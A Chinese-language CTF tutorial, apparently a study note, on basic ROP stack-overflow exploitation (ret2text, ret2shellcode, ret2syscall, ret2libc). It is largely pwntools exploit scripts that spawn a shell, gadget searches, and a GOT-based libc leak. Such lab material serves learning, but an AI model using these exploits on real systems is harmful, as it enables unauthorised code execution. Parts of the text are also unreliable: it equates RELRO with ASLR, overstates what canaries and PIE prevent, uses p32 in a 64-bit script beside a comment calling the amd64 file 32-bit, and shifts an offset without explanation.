Stack Overflow - 基本ROP

保护机制

  • NX保护(DEP):栈上的数据没有执行权限,防止栈溢出和在栈上执行shellcode,实际上有了NX保护,堆、栈、bss段就没有执行权限了
  • canary保护(FS):函数开始时会随机产生一个值,这个值canary放在紧挨EBP的位置,当攻击者想要通过缓冲区溢出覆盖EBP和EBP下面的返回地址时,就会覆盖canary的值,程序结束以后,程序会检查canary这个值和之前的是不是一致,不一致就不往下运行,能够防止所有单纯的栈溢出
  • RELRO保护(ASLR):堆栈地址随机化,能够防止所有需要用到堆栈精确地址的攻击
  • PIE:代码地址随机化,防止构造ROP链攻击

基本ROP

由于NX保护的开启,直接向堆或者是栈上注入代码的方式难以继续发挥效果,可以通过ROP来绕过保护,在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。gadgets就是以ret结尾的指令序列,通过这些指令序列能够修改某些地址的内容,方便控制程序的执行流程,核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序

只要满足以下条件,那么就可以尝试进行ROP攻击:

  • 程序存在栈溢出,并且可以控制返回地址
  • 可以找到满足条件的gadgets和相应的地址

ret2text

原理

即控制程序本身已有的代码(.text),我们需要知道对应代码的返回位置,如果有保护开启的话,需要想办法绕过

示例复现

题目来源:ctfhub

先检查保护:64位,未开启任何保护

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

使用IDA看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2text.Input someting:");
gets(v4);
puts("bye");
return 0;
}

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞

.text:0000000000400795 89 45 FC                      mov     [rbp+var_4], eax
.text:0000000000400798 48 8D 45 F8 lea rax, [rbp+var_8]
.text:000000000040079C 48 89 C6 mov rsi, rax
.text:000000000040079F 48 8D 3D 22 01 00 00 lea rdi, unk_4008C8
.text:00000000004007A6 B8 00 00 00 00 mov eax, 0
.text:00000000004007AB E8 C0 FE FF FF call ___isoc99_scanf
.text:00000000004007AB
.text:00000000004007B0 8B 45 F8 mov eax, [rbp+var_8]
.text:00000000004007B3 39 45 FC cmp [rbp+var_4], eax
.text:00000000004007B6 75 0C jnz short loc_4007C4
.text:00000000004007B6
.text:00000000004007B8 48 8D 3D 0C 01 00 00 lea rdi, command ; "/bin/sh"
.text:00000000004007BF E8 5C FE FF FF call _system

在 secure 函数又发现了存在调用 system(“/bin/sh”) 的代码,那么如果我们直接控制程序返回至 0x4007B8,那么就可以得到系统的 shell 了

接下来就要构造payload了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数

第一种办法,直接在IDA里面查看

点进v4里面,s就是ebp,r就是返回地址,v4就是var_70,

-0000000000000070 ; D/A/*   : change type (data/ascii/array)
-0000000000000070 ; N : rename
-0000000000000070 ; U : undefine
-0000000000000070 ; Use data definition commands to create local variables and function arguments.
-0000000000000070 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000070 ; Frame size: 70; Saved regs: 8; Purge: 0
-0000000000000070 ;
-0000000000000070
-0000000000000070 var_70 db 112 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

第二种办法:

IDA中找到get函数地址后,在GDB中查看反汇编

gdb-peda$ disass 0x400823
Dump of assembler code for function main:
0x00000000004007c7 <+0>: push rbp
0x00000000004007c8 <+1>: mov rbp,rsp
=> 0x00000000004007cb <+4>: sub rsp,0x70
0x00000000004007cf <+8>: mov rax,QWORD PTR [rip+0x20089a] # 0x601070 <stdout@@GLIBC_2.2.5>
0x00000000004007d6 <+15>: mov ecx,0x0
0x00000000004007db <+20>: mov edx,0x2
0x00000000004007e0 <+25>: mov esi,0x0
0x00000000004007e5 <+30>: mov rdi,rax
0x00000000004007e8 <+33>: call 0x400660 <setvbuf@plt>
0x00000000004007ed <+38>: mov rax,QWORD PTR [rip+0x20088c] # 0x601080 <stdin@@GLIBC_2.2.5>
0x00000000004007f4 <+45>: mov ecx,0x0
0x00000000004007f9 <+50>: mov edx,0x1
0x00000000004007fe <+55>: mov esi,0x0
0x0000000000400803 <+60>: mov rdi,rax
0x0000000000400806 <+63>: call 0x400660 <setvbuf@plt>
0x000000000040080b <+68>: lea rdi,[rip+0xc6] # 0x4008d8
0x0000000000400812 <+75>: call 0x400610 <puts@plt>
0x0000000000400817 <+80>: lea rax,[rbp-0x70]
0x000000000040081b <+84>: mov rdi,rax
0x000000000040081e <+87>: mov eax,0x0
0x0000000000400823 <+92>: call 0x400650 <gets@plt>
0x0000000000400828 <+97>: lea rdi,[rip+0xd4] # 0x400903
0x000000000040082f <+104>: call 0x400610 <puts@plt>
0x0000000000400834 <+109>: mov eax,0x0
0x0000000000400839 <+114>: leave
0x000000000040083a <+115>: ret
End of assembler dump.

查看变量的位置,为 [rbp-0x70]。由于是64位系统,要覆盖掉ebp,就要+8字节。因此 字符串长度为 0x70 + 8

写脚本

from pwn import *  
# p = remote()
#远程交互
p = process('./pwn')
#运行这个程序并获得和这个程序进行交互的接口
secure = 0x4007B8
#/bin/sh地址
payload = 'a' * 0x78 + p64(secure)
#填满缓冲区,并把返回地址修改成secure的地址
# gdb.attach(p)
p.recvuntil("Welcome to CTFHub ret2text.Input someting:\n")
#让程序运行到“Welcome to CTFHub ret2text.Input someting:\n”这句话停下来
p.sendline(payload)
#发送攻击数据
p.interactive()
#通过shell进行交互

题目练习

题目来源:ctfhub

  • 首先检查保护措施:

image-20230513191804823

Arch:    amd64-64-little //文件为32位程序

RELRO: Partial RELRO

Stack: No canary found //未开启canary保护

NX: NX disabled //未开启栈不可执行保护

PIE: No PIE (0x8048000) //未开启地址无关可执行

RWX: Has RWX segments
  1. 首先是stack保护措施,如果开启的话在栈中返回地址前放一个随机值,如果被覆盖,程序就会报错退出

  2. nx则是 no execution,如果开启的话就不能让ip寄存器指向堆和栈,注意堆和栈是不同的东西

  3. 64-bit dynamically linked,获得基本信息之后就运行程序,分析它的功能

  • IDA查看

image-20230513195452347

看到gets函数,gets函数对输入内容的长度没有限制,可能会存在栈溢出

  • 点进v4里面,s就是ebp,r就是返回地址,v4就是var_70,所以大小为78,我们希望的就是拿到shell

image-20230513202925299

  • 通过找字符串或者secure函数可以看到/bin/sh,利用它就可以拿到shell

image-20230513192105293

image-20230513192129730

找到/bin/sh的地址(注意要是.text中的地址)

  • 可以用pwntools写脚本
from pwn import *  
# p = remote()
#远程交互
p = process('./pwn')
#运行这个程序并获得和这个程序进行交互的接口
secure = 0x4007B8
#/bin/sh地址
payload = 'a' * 0x78 + p32(secure)
#填满缓冲区,并把返回地址修改成secure的地址
# gdb.attach(p)
p.recvuntil("Welcome to CTFHub ret2text.Input someting:\n")
#知道“”这句话停下来
p.sendline(payload)
#发送攻击数据
p.interactive()
#通过shell进行交互

ret2shellcode

原理

控制程序执行shellcode代码,shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell

一般来说,shellcode 需要我们自己填充,这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

想要执行shellcode需要shellcode所在的区域具有可执行权限,即必须是在堆栈不可执行关闭(NX关闭)的情况下才可以

示例复现

题目来源:ctf_wiki

下载好题目先check

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

32位且无任何保护开启

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 100u);
printf("bye bye ~");
return 0;
}

IDA分析,无system函数,gets函数存在栈溢出漏洞,进入buf2查看可知其位于bss段

.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?)                      ; DATA XREF: main+7B↑o
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends

.bss段通常是用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。

特点是可读写,在程序执行之前.bss会自动清0

通过gdb查看这个bss段是否可执行,b main设置断点,r执行,vmmap查看

gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/giantbranch/Desktop/CTF/ret2shellcode
0x08049000 0x0804a000 r-xp /home/giantbranch/Desktop/CTF/ret2shellcode
0x0804a000 0x0804b000 rwxp /home/giantbranch/Desktop/CTF/ret2shellcode
0xf7e03000 0xf7e04000 rwxp mapped
0xf7e04000 0xf7fb4000 r-xp /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb5000 ---p /lib/i386-linux-gnu/libc-2.23.so
0xf7fb5000 0xf7fb7000 r-xp /lib/i386-linux-gnu/libc-2.23.so
0xf7fb7000 0xf7fb8000 rwxp /lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fbb000 rwxp mapped
0xf7fd3000 0xf7fd4000 rwxp mapped
0xf7fd4000 0xf7fd7000 r--p [vvar]
0xf7fd7000 0xf7fd9000 r-xp [vdso]
0xf7fd9000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rwxp [stack]

通过vmmap可以看到对应的bss段具有可执行权限

那么就可以考虑让程序跳转到shellcode中,通过栈溢出把shellcode赋给buf2,执行bss段的shellcode

第一种办法

IDA中能够看到:

.text:0804858C 8D 44 24 1C                   lea     eax, [esp+80h+s]
.text:08048590 89 04 24 mov [esp], eax ; s
.text:08048593 E8 38 FE FF FF call _gets

get函数的地址为0x08048593

在gdb中查看

gdb-peda$ disass 0x08048593
Dump of assembler code for function main:
0x0804852d <+0>: push ebp
0x0804852e <+1>: mov ebp,esp
0x08048530 <+3>: and esp,0xfffffff0
0x08048533 <+6>: add esp,0xffffff80
0x08048536 <+9>: mov eax,ds:0x804a060
0x0804853b <+14>: mov DWORD PTR [esp+0xc],0x0
0x08048543 <+22>: mov DWORD PTR [esp+0x8],0x2
0x0804854b <+30>: mov DWORD PTR [esp+0x4],0x0
0x08048553 <+38>: mov DWORD PTR [esp],eax
0x08048556 <+41>: call 0x8048410 <setvbuf@plt>
0x0804855b <+46>: mov eax,ds:0x804a040
0x08048560 <+51>: mov DWORD PTR [esp+0xc],0x0
0x08048568 <+59>: mov DWORD PTR [esp+0x8],0x1
0x08048570 <+67>: mov DWORD PTR [esp+0x4],0x0
0x08048578 <+75>: mov DWORD PTR [esp],eax
0x0804857b <+78>: call 0x8048410 <setvbuf@plt>
0x08048580 <+83>: mov DWORD PTR [esp],0x8048660
0x08048587 <+90>: call 0x80483e0 <puts@plt>
0x0804858c <+95>: lea eax,[esp+0x1c]
0x08048590 <+99>: mov DWORD PTR [esp],eax
=> 0x08048593 <+102>: call 0x80483d0 <gets@plt>
0x08048598 <+107>: mov DWORD PTR [esp+0x8],0x64
0x080485a0 <+115>: lea eax,[esp+0x1c]
0x080485a4 <+119>: mov DWORD PTR [esp+0x4],eax
0x080485a8 <+123>: mov DWORD PTR [esp],0x804a080
0x080485af <+130>: call 0x8048420 <strncpy@plt>
0x080485b4 <+135>: mov DWORD PTR [esp],0x8048680
0x080485bb <+142>: call 0x80483c0 <printf@plt>
0x080485c0 <+147>: mov eax,0x0
0x080485c5 <+152>: leave
0x080485c6 <+153>: ret
End of assembler dump.

s相对于esp的索引为esp + 0x1c

断点下在0x08048593,r运行,查看esp和ebp

EBP  0xffffd018 ◂— 0x0
ESP 0xffffcf90 —▸ 0xffffcfac —▸ 0x80482d0 ◂— pop edi

esp为0xffffCF90,ebp为0xffffd018,那么s的地址为0xffffcfac,s相对于ebp的偏移为6c,s相对于返回地址偏移0x6c + 4

第二种办法,类似于ret2text直接找

第三种办法

利用GDB调试,cyclic 200生成200个字符的字符串,r运行,输入生成的字符串,显示

Invalid address 0x62616164

程序报错,说明我们输入的字符覆盖了eip,即字符“daab”

EAX  0x0
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
EBP 0x62616163 ('caab')
ESP 0xffffd020 ◂— 0x62616165 ('eaab')
EIP 0x62616164 ('daab')

cyclic -l 0x62616164cyclic -l daab计算字符串偏移量可得112

exp:

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
#生成一个执行 /bin/sh 的机器码
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

题目练习

题目来源:ctfhub

  • 首先检查保护措施

    Arch:     amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x400000)
    RWX: Has RWX segments

    保护全关

    运行能看到会生成一个地址,放到IDA里面

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2shellcode!");
printf("What is it : [%p] ?\n", buf);
puts("Input someting : ");
read(0, buf, 1024uLL);
return 0;
}

​ 这道题没有自带的system函数,保护没开,可以使用ret2shellcode

-0000000000000010 buf dq ?
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

​ printf可以直接输出buf的地址,__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF可以得出,buf相对于rbp的偏移为:0x10,加上返回地址0x08(64位),所以buf的大小为0x10 + 0x08。所以可用的空间为24字节(0x18),虽然有23字节的shellcode,但是因为其本身有push指令,如果把shellcode放到返回地址之前,那么在程序返回时会破坏shellcode,所以将shellcode放到函数的return地址之后(call main指令的下一条地址,执行完main函数后,会ret并从栈中pop出给RIP),所以将其覆盖为shellcode的地址就可以获得shell

  • 由上面的分析可知,假设填充的大小padding为0x18,假设buf的地址为buf_addr,那么加32(0x10 + 0x08 +0x08)就可以跳过填充数据和返回地址,shellcode使用pwntools生成的

​ 借一下大佬的图,很直观CTFhub-pwn-[ret2shellcode]_ctfhub ret2shellcode_沧海一粟日尽其用的博客-CSDN博客

image-20230626094949977

  • EXP
from pwn import *
context(arch='amd64',os='linux')

host='challenge-df513d1e25503d2f.sandbox.ctfhub.com'
port=29219
io=connect(host,port)
#io=process('./ret2shellcode')
padding=0x18
#Get the addr of buf
io.recvuntil('[')
buf_addr=io.recvuntil(']',drop=True)
io.recvuntil('Input someting :')
print('buf_addr:',buf_addr)


#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload=flat(['a'*padding,p64(int(buf_addr,16)+32),asm(shellcraft.sh())])
print('payload:',payload)

io.sendline(payload)
io.interactive()

ret2syscall

原理

gadgets

ret 结尾的指令序列,通过这些指令序列可以修改某些地址的内容,方便控制程序的执行流程

比如:pop eax ; ret

这两个指令的作用就是将栈顶的数据pop给eax,然后将栈顶的数据作为返回地址返回,如果通过栈溢出把eip覆盖为pop eax的地址,程序返回时就会执行pop eax

系统调用

  • Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数

  • 应用程序调用系统调用的过程是:

    • 把系统调用的编号存入EAX
    • 把函数参数存入其他寄存器
    • 触发0x80号中断(int 80h)
  • 比如execve("/bin/sh",null,null)这个函数,其函数调用过程为:

    • 系统调用号,即 eax 应该为 0xb
    • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
    • 第二个参数,即 ecx 应该为 0
    • 第三个参数,即 edx 应该为 0

通过ROP控制程序执行系统调用,获取 shell,通过系统调用来获取 shell 就需要把系统调用的参数放入各个寄存器,然后执行 int 0x80 指令

示例复现

题目来源:ctf_wiki

查看保护

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开了NX保护,32位

IDA查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

能够看到是栈溢出,和前面做法类似,算出要覆盖的返回地址相对于v4的偏移为112。

由于不能直接利用程序中的某一段代码或者是自己填写的代码来获得shell,所以可以尝试利用程序中的gadgets来获得shell,而获得对应shell是利用系统调用实现的。

利用execve("/bin/sh",NULL,NULL),那么就需要控制寄存器的值,需要使用的gadgets。一般来说不会有连续的代码可以同时控制对应的寄存器,所以需要一段一段地控制对应的寄存器,这也就是为什么要在gadgets最后使用ret来再次控制程序流程的原因。

寻找 gadgets 可以使用 ropgadgets 这个工具

首先寻找控制eax的gadgets,ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"

giantbranch@ubuntu:~/Desktop/CTF$ ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到上述几个都可以控制eax,这里选取第二个来作为gadgets

同理可以得到控制其他寄存器的gadgets,ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

giantbranch@ubuntu:~/Desktop/CTF$ ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx" 
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

然后我们还需要获得/bin/sh字符串对应的地址,ROPgadget --binary ./ret2syscall --string "/bin/sh"

giantbranch@ubuntu:~/Desktop/CTF$ ROPgadget --binary ./ret2syscall --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh

找到int 0x80的地址

giantbranch@ubuntu:~/Desktop/CTF$ ROPgadget --binary ./ret2syscall --only "int"|grep "0x80"
0x08049421 : int 0x80

exp:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc

原理

如果目标程序调用的函数较少,或者使用动态编译,导致可用的gadgets变少,就无法达到利用效果,那么就可以到动态链接库中寻找gadgets。

控制函数执行libc中的函数,一般是返回至某个函数的plt处或者函数的具体位置,比如要执行system(“/bin/sh”),就需要知道system函数的地址

libc泄露

如果题目源码中既没有找到system函数,也没有找到‘/bin/sh’,那么就需要用到libc泄露。这时候就可以利用在栈溢出之前执行过的函数来泄露libc的版本。因为libc函数相对于libc的基地址都是确定的,即函数之间相对偏移是固定的,即便程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变,github上有人对libc进行了收集:

niklasb/libc-database: Build a database of libc offsets to simplify exploitation (github.com)

常用的办法是GOT表泄露,输出某个函数对应的got表项内容,由于延迟绑定机制,需要泄露已经执行过的函数的地址。

示例复现1

题目来源:ctf-wiki

检查保护

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位,NX保护开启

IDA查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

gets函数,有栈溢出,能看到有个secure函数

void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}

但是system函数里面的参数并不是/bin/sh,如果单纯的将返回地址覆盖为system函数的地址并执行,那么会产生错误,因为shell!?不是一个系统命令,所以需要让system的参数变为/bin/sh。

程序调用system函数时,会自动寻找ebp指向的位置,然后将ebp+8的位置的数据当作函数的参数,那么如果要将/bin/sh作为system函数的参数,可以利用栈溢出,修改eip为system函数地址后,填充4个字节的垃圾数据,然后将/bin/sh的地址作为参数。

找到system函数的地址:

image-20230714185218657

注意要找的是plt的

/bin/sh地址为:

giantbranch@ubuntu:~/Desktop/CTF$ ROPgadget --binary ./ret2libc1 --string "/bin/sh"
Strings information
============================================================
0x08048720 : /bin/sh

依照前面的方法确定栈溢出大小为112。

exp

from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt,'b'*4,binsh_addr])
sh.sendline(payload)

sh.interactive()

示例复现2

检查保护

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位开了NX保护

查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}

void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("no_shell_QQ");
}

明显的栈溢出,并且secure函数中有system函数,并且通过查找字符串等并没有发现/bin/sh的存在,那么就需要自己写一个/bin/sh作为system函数的参数,让程序执行system(‘/bin/sh’),从而控制程序。可以通过栈溢出将返回地址覆盖为gets函数的地址,然后再将bss段的地址作为函数的参数,将’/bin/sh’写入到bss段,然后把调用的gets函数的返回地址覆盖为system函数的地址,参数为写入到bss段的’/bin/sh’字符串的地址。

先找get函数和system函数的地址:

giantbranch@ubuntu:~/Desktop/CTF$ objdump -dj .plt ret2libc2

ret2libc2: file format elf32-i386


Disassembly of section .plt:

08048440 <printf@plt-0x10>:
8048440: ff 35 04 a0 04 08 pushl 0x804a004
8048446: ff 25 08 a0 04 08 jmp *0x804a008
804844c: 00 00 add %al,(%eax)
...

08048450 <printf@plt>:
8048450: ff 25 0c a0 04 08 jmp *0x804a00c
8048456: 68 00 00 00 00 push $0x0
804845b: e9 e0 ff ff ff jmp 8048440 <_init+0x24>

08048460 <gets@plt>:
8048460: ff 25 10 a0 04 08 jmp *0x804a010
8048466: 68 08 00 00 00 push $0x8
804846b: e9 d0 ff ff ff jmp 8048440 <_init+0x24>

08048470 <time@plt>:
8048470: ff 25 14 a0 04 08 jmp *0x804a014
8048476: 68 10 00 00 00 push $0x10
804847b: e9 c0 ff ff ff jmp 8048440 <_init+0x24>

08048480 <puts@plt>:
8048480: ff 25 18 a0 04 08 jmp *0x804a018
8048486: 68 18 00 00 00 push $0x18
804848b: e9 b0 ff ff ff jmp 8048440 <_init+0x24>

08048490 <system@plt>:
8048490: ff 25 1c a0 04 08 jmp *0x804a01c
8048496: 68 20 00 00 00 push $0x20
804849b: e9 a0 ff ff ff jmp 8048440 <_init+0x24>

080484a0 <__gmon_start__@plt>:
80484a0: ff 25 20 a0 04 08 jmp *0x804a020
80484a6: 68 28 00 00 00 push $0x28
80484ab: e9 90 ff ff ff jmp 8048440 <_init+0x24>

080484b0 <srand@plt>:
80484b0: ff 25 24 a0 04 08 jmp *0x804a024
80484b6: 68 30 00 00 00 push $0x30
80484bb: e9 80 ff ff ff jmp 8048440 <_init+0x24>

080484c0 <__libc_start_main@plt>:
80484c0: ff 25 28 a0 04 08 jmp *0x804a028
80484c6: 68 38 00 00 00 push $0x38
80484cb: e9 70 ff ff ff jmp 8048440 <_init+0x24>

080484d0 <setvbuf@plt>:
80484d0: ff 25 2c a0 04 08 jmp *0x804a02c
80484d6: 68 40 00 00 00 push $0x40
80484db: e9 60 ff ff ff jmp 8048440 <_init+0x24>

080484e0 <rand@plt>:
80484e0: ff 25 30 a0 04 08 jmp *0x804a030
80484e6: 68 48 00 00 00 push $0x48
80484eb: e9 50 ff ff ff jmp 8048440 <_init+0x24>

080484f0 <__isoc99_scanf@plt>:
80484f0: ff 25 34 a0 04 08 jmp *0x804a034
80484f6: 68 50 00 00 00 push $0x50
80484fb: e9 40 ff ff ff jmp 8048440 <_init+0x24>

找到bss段的地址

.bss:0804A080                               public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?)
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends

再用gdb->start->vmmap查看bss段是否可执行:

  Start       End    Perm     Size             Offset File
0x804a000 0x804b000 rw-p 1000 1000 /home/hno/Desktop/CTF/ret2libc3

除此以外,还有另一种构建payload的办法,利用ebx来传递参数,那么就需要寻找对应的gadgets:

giantbranch@ubuntu:~/Desktop/CTF$ ROPgadget --binary ret2libc2 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

接下来就是构建payload

一个办法是:

‘a’*112 填充
gets_addr 返回到gets
sys_addr gets返回地址,再次输入/bin/sh
bss_addr gets写到什么地方,sys返回地址
bss_addr

那么如果用第二种办法就是调用gets函数以后,把参数buf2给pop掉,这样的话返回地址就变成了system

exp

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, system_plt, buf2, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

或是:

from pwn import*
p=process('./ret2libc2')

gets_plt=0x8048460
system_plt=0x8048490


pop_ebx=0x0804843d
buf2=0x804a080


payload=flat([b'a'*112,gets_plt,pop_ebx,buf2,system_plt,0xdeadbeef,buf2])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

示例复现3

检查保护

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}

源码中找不到system函数和‘/bin/sh’的地址,那么就要用到前面提到过的libc泄露了

可以根据上述步骤先得到libc再在程序中查询偏移,然后获得system函数地址,可以利用工具:

lieanu/LibcSearcher: glibc offset search for ctf. (github.com)

libc中也是有’/bin/sh’字符串的,所以可以一起获得。

这里泄露__libc_start_main函数,因为它是程序最初被执行的地方,思路如下:

  • 泄露__libc_start_main 地址
  • 获取libc版本
  • 获取system地址和/bin/sh地址
  • 再次执行源程序
  • 触发栈溢出执行system(‘/bin/sh’)

先通过elf获得puts函数的plt表值,__libc_start_main的got表值,还有main函数的地址,用来第二次触发漏洞

再利用__libc_start_main得到的libc版本,通过LibcSearcher得到函数的偏移量

(有时候LibcSearcher不好使,可以用libc database search (blukat.me)

那么总的思路就是:

  • 通过第一次溢出,来将puts函数的PLT地址放到返回处,泄露出执行过的函数的GOT地址
  • 将puts返回地址设置为_start函数
  • 通过泄露的函数的GOT地址计算出libc中的system和/bin/sh地址
  • 再次溢出将返回地址覆盖为泄露出来的system的地址

exp:

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
payload = 'a'*112+p32(puts_plt)+p32(main)+p32(libc_start_main_got)
sh.sendlineafter('Can you find it !?', payload)

libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload = 'a'*104+p32(system_addr)+'aaaa'+p32(binsh_addr)
sh.sendline(payload)

sh.interactive()

参考